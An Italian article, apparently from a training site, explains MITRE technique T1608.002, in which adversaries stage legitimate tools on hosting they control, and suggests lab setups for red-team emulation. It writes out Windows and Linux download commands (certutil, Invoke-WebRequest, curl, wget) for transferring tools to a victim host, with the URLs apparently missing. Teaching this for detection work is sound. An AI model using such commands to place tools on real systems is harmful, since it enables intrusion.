Upload Tool: Upload Tool (T1608.002)

La tecnica T1608.002 descrive la pratica con cui un avversario carica strumenti su infrastrutture di terze parti o sotto il proprio controllo, rendendoli raggiungibili durante l'operazione offensiva. Si parla di tool nel senso stretto del termine: software leciti — open o closed source, gratuiti o commerciali — che non nascono per scopi malevoli ma vengono riutilizzati come PsExec, dumper di credenziali o agenti RMM. A differenza del malware vero e proprio, questi binari hanno una funzione legittima, il che ne complica il riconoscimento.

La collocazione avviene nella tattica TA0042 (Resource Development), la fase in cui l'attaccante prepara le risorse a supporto delle operazioni successive. Nella kill chain si tratta di un momento precedente all'intrusione vera e propria: il tool viene posizionato su un web server accessibile da Internet, su un repository GitHub controllato dall'avversario o su offerte Platform-as-a-Service, così da abilitare il successivo Ingress Tool Transfer verso la rete vittima.

L'infrastruttura di appoggio può essere acquistata, affittata o compromessa in precedenza. In alternativa l'attaccante evita del tutto il caricamento, facendo scaricare lo strumento direttamente dalla sua fonte originale di hosting.

I numeri del quadro MITRE sono contenuti ma significativi: 2 gruppi, 3 campagne documentate e 1 sola mitigazione, a conferma che si tratta di attività quasi invisibile alle difese aziendali, perché eseguita fuori dal loro perimetro di controllo.

Trattandosi di una tecnica pre-compromise in Resource Development, l'obiettivo in un esercizio red team non è "bucare" un bersaglio ma predisporre in modo lab-safe l'infrastruttura di staging che ospiterà i tool da distribuire alla macchina vittima. Il principio replica i comportamenti osservati: Threat Group-3390 ha collocato gsecdump e WCE su siti web compromessi, mentre Medusa Group ha caricato un archivio ZIP contenente l'agente RMM ConnectWise su un servizio di file hosting.

In laboratorio conviene simulare più canali di staging isolati dalla produzione. Alcune opzioni realistiche:

  • Un web server locale con python3 -m http.server 8000 (open source) per esporre i binari su HTTP e misurare la detection del successivo download.
  • Un repository privato ospitato su una Gitea self-hosted (open source), che replica lo scenario del "repo GitHub controllato dall'avversario" senza toccare piattaforme pubbliche.
  • Un bucket o container su un ambiente PaaS di test, per esercitare il rilevamento del traffico verso servizi cloud legittimi.

La catena d'attacco tipica prevede: staging del tool sul server, generazione dell'URL di download, e sul lato endpoint la fase di Ingress Tool Transfer. Su Windows il trasferimento si prova con

certutil.exe -urlcache -split -f tool.exe

oppure con PowerShell tramite Invoke-WebRequest -Uri -OutFile C:\Windows\Temp\tool.exe. Su Linux e macOS l'equivalente è curl -s -o /tmp/tool o wget . Su host ESXi, dove l'ambiente è minimale, si osserva l'uso di wget o scp verso il datastore per posizionare payload.

Per emulazione strutturata e ripetibile è utile:

  • Atomic Red Team (open source), che include test mappati alle tecniche di trasferimento e staging.
  • Caldo/Sliver (open source) come framework C2 per orchestrare il download dal server di staging in un range controllato.
  • MinIO (open source) per simulare uno storage S3-compatibile self-hosted.

La regola d'oro del laboratorio è mai usare hosting pubblici reali (filemail, Dropbox, Pastebin) per payload offensivi, anche innocui: ogni artefatto va confinato in reti segmentate. Documentare hash, URL e timestamp di ogni tool caricato permette poi al team difensivo di validare le proprie regole di detection sul traffico di Ingress Tool Transfer.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.